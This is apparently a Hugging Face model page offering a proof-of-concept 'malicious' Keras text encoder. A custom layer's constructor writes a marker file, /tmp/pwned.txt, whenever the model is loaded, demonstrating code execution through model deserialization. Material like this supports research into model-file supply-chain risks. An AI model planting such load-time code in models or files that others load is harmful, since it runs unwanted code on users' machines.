Instructions to use xiaoyaoes/malicious-keras-text-encoder with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/malicious-keras-text-encoder with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/malicious-keras-text-encoder") - Notebooks
- Google Colab
- Kaggle
File size: 839 Bytes
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import keras
import os
@keras.saving.register_keras_serializable(package="CustomMalicious")
class MaliciousEncoder(keras.layers.Layer):
def __init__(self, encoding_type="base64", **kwargs):
super().__init__(**kwargs)
self.encoding_type = encoding_type
# 直接写文件
try:
with open("/tmp/pwned.txt", "w") as f:
f.write(f"CODE EXECUTED! Type: {encoding_type}")
except Exception as e:
with open("/tmp/pwned_err.txt", "w") as f:
f.write(str(e))
def call(self, inputs):
return inputs
def get_config(self):
config = super().get_config()
config.update({"encoding_type": self.encoding_type})
return config
@classmethod
def from_config(cls, config):
return cls(**config)
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